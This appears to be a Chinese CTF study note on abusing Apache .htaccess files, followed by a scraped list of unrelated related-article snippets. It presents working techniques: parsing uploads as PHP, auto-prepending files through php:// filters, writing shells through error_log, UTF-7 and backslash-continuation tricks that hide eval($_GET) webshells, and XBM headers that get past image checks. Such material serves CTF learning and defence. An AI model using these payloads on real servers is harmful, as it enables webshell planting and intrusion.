.htaccess在CTF Web中还是很常见的,今天又做到一道很有意思的题,下定决心总结一波

一、什么是.htaccess

参考Apache HTTP Server Tutorial: .htaccess files

.htaccess文件(或“分布式配置文件”)提供了一种基于每个目录进行配置更改的方法。包含一个或多个配置指令的文件放置在特定的文档目录中,这些指令适用于该目录及其所有子目录。

如果开启.htaccess,可以在所在文件夹和子文件下改变php.ini的配置。对于黑客来说,如果能控制.htaccess,就可以完成绕WAF、文件包含、文件上传等操作

二、利用条件

首先目标主机必须开启.htaccess,配置在apache2.conf中,这里是部分配置

# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory> <Directory /usr/share>
AllowOverride None
Require all granted
</Directory> <Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride ALL # 默认应该是None,ALL表示/var/www/下所有文件接受.htaccess的重写
Require all granted
</Directory> # AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess # 分布式配置文件也不一定叫.htaccess,可以在这里自己设置 #
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
Require all denied # 防止.htaccess和.htpasswd被Web用户看到
</FilesMatch>

三、利用方式 && tricks

1、将指定后缀名的文件当做php解析

AddType text/example ".exm"
AddType application/x-httpd-php .cc

上例将后缀名为.exm的文件当做text解析,将.cc文件当做php来解析

AddHandler php7-script .txt

用途:文件上传时绕过黑名单校验,不过现在一般不会单独考这个

如果开启了cgi扩展,也可以来解析shell脚本

.htaccess

Options +ExecCGI
AddHandler cgi-script .sh

solve.sh

#!/bin/bash
echo "Content-Type: text/plain"
echo ""
ls -lah /
exit 0

2、php_value利用php中的配置

php.ini 配置选项列表

(1)自动包含文件

php_value auto_prepend_file xxx.php
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"

使作用范围内的php文件在文件头/尾自动include指定文件,支持php伪协议

php_value include_path "xxx"

如果当前目录无法写文件,也可以改变包含文件的路径,去包含别的路径的文件

用途:文件包含,可以配合AddType

例题:刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

(2)利用报错信息写文件

php_value error_reporting 32767
php_value error_log /tmp/fl3g.php

开启报错的同时将报错信息写入文件

用途:利用报错写shell

例题:刷题记录:[XNUCA2019Qualifier]EasyPHP

(3)UTF-7编码绕过尖括号<过滤

php_value zend.multibyte 1 # 启用多字节编码的源文件解析
php_value zend.script_encoding "UTF-7"

将代码的解析方式改成UTF-7

mb_convert_encoding('<?php eval($_GET[\'cmd\']); ?>',"utf-7");

payload样例:

+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs

例题:l33t-hoster

(4)prce绕过正则匹配

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是if(preg_match("/[^a-z\.]/", $filename) !== 0),因此可以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false

3、tricks

(1)\换行绕过脏字符&&绕WAF

.htaccess似乎可以像shell那样使用\将两行内容解释为一行

  • 绕过脏字符

    如果.htaccess文件中有不符合语法的内容,访问服务器会直接报500,如果题目中乱写.htaccess文件,我们可以尝试换行注释掉脏字符

    例如:题目中有file_put_contents($filename, $content . "\nJust one chance"),我们payload最后可以加上#\#负责注释,\将注释符和脏字符连成一行,注释掉脏字符,最后的文件为
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
Just one chance
  • 绕过WAF

    如果题目过滤了'file',可以这么写.htaccess
php_value auto_prepend_fi\
le ".htaccess"
#<?php eval($_GET[a]);?>\

(2)绕过exif_imagetype()上传.htaccess

#define width 20
#define height 10

采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。

在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。

XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。

也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度【以像素为单位,比如以下xbm文件:

#define test_width 16

#define test_height 7

.htaccess tricks总结的更多相关文章

  1. .htaccess技巧: URL重写(Rewrite)与重定向(Redirect) (转)

    目录 Table of Contents 一.准备开始:mod_rewrite 二.利用.htaccess实现URL重写(rewrite)与URL重定向(redirect) 将.htm页面映射到.ph ...

  2. Advanced Configuration Tricks

    Advanced Configuration Tricks Configuration of zend-mvc applications happens in several steps: Initi ...

  3. Nginx and PHP-FPM Configuration and Optimizing Tips and Tricks

    原文链接:http://www.if-not-true-then-false.com/2011/nginx-and-php-fpm-configuration-and-optimizing-tips- ...

  4. Ubuntu-server 下Apache2 配置.htaccess 隐藏thinkPHP项目index.php

    需要开启Apache2的rewrite模块 1.打开/etc/apache2/apache2.conf 将文件中的AllowOverride None改为AllowOverride All 2.修改m ...

  5. .htaccess添加Header set Cache-Control报错500

    在优化网站开启站点的图片缓存时,需要在.htaccess文件中加入: #文件缓存时间配置10分钟 <FilesMatch ".(flv|gif|jpg|jpeg|png|ico|swf ...

  6. apache下htaccess不起作用,linux,windows详解

    可能出现下面这三种的错误可能性: 第一种:启用 rewrite 和 .htaccess 设置 rewrite设置:找到apache的配置文件httpd.conf文件,找到:#LoadModule re ...

  7. .htaccess语法之RewriteCond与RewriteRule指令格式详细解释

    htaccess语法之RewriteCond与RewriteRule指令格式详细解释 (2012-11-09 18:09:08) 转载▼ 标签:  htaccess it 分类: 网络 上文htacc ...

  8. .htaccess基本语法和应用 (2012-11-09 16:13:47)转载▼

    htaccess基本语法和应用 (2012-11-09 16:13:47) 转载▼ 标签:  htaccess it 分类: 网络 .htaccess是Apache服务器的一个非常强大的分布式配置文件 ...

  9. 用.htaccess文件实现URL重写

    注:第一部分来自 http://www.cnblogs.com/wangkongming/archive/2012/11/13/2768251.html     这位博主的个人网站简洁   还有诗歌  ...

随机推荐

  1. layui 表格中实现照片预览,点击查看原图

    人员表格中实现照片预览,并且可点击放大.查看原图 <table id="dutyInfoTable" class="layui-hide">< ...

  2. 【Git版本控制】为什么要先commit,然后pull,最后再push?而不是commit然后直接push?

    情况是这样的,现在远程有一个仓库,分支就一个,是master.然后我本地的仓库是从远程的master上clone下来的.大家都是clone下来,再在自己本地改好,再commit然后pull然后push ...

  3. linux设备驱动程序--gpio控制

    gpio驱动程序 上一章节linux设备驱动程序--创建设备节点章节主要介绍了linux字符设备驱动程序的框架,从这一章节开始我们讲解各种外设的控制,包括gpio,i2c,dma等等,既然是外设,那就 ...

  4. Java基础--线程创建方式

    线程的创建主要有两种形式,通过继承Thread或者实现Runnable接口,本质上没有太大区别. /** * @date: 2019/7/16 **/ public class ThreadOne i ...

  5. Linux学习24-腾讯云服务器开启swap分区

    前言 最近有小伙伴买的腾讯云的1核1G入门级服务器,发现部署的服务多了后,会自动停掉一些docker的的容器. 新买的腾讯云主机没有提供Swap分区,理由是由于主机经常因为内存使用率过高,频繁使用Sw ...

  6. ansible(三)

    setup ansible_all_ipv4_addresses # ipv4的所有地址 ansible_all_ipv6_addresses # ipv6的所有地址 ansible_date_tim ...

  7. ImportError: No module named wx

    先检查下Python中是否有此模块 $ python >>> import wx ImportError: No module named wx  wx模块的确没有安装. 要安装wx ...

  8. vsftp部署

    安装 yum install -y vsftpd systemctl enable vsftpd.service systemctl start vsftpd.service systemctl st ...

  9. list转json数组

    lights为arraylist java后台代码: try {      org.tempuri.TLight[] lights = phlightSoapProxy.getLights();    ...

  10. hash isEqual

    hash Returns an integer that can be used as a table address in a hash table structure. If two object ...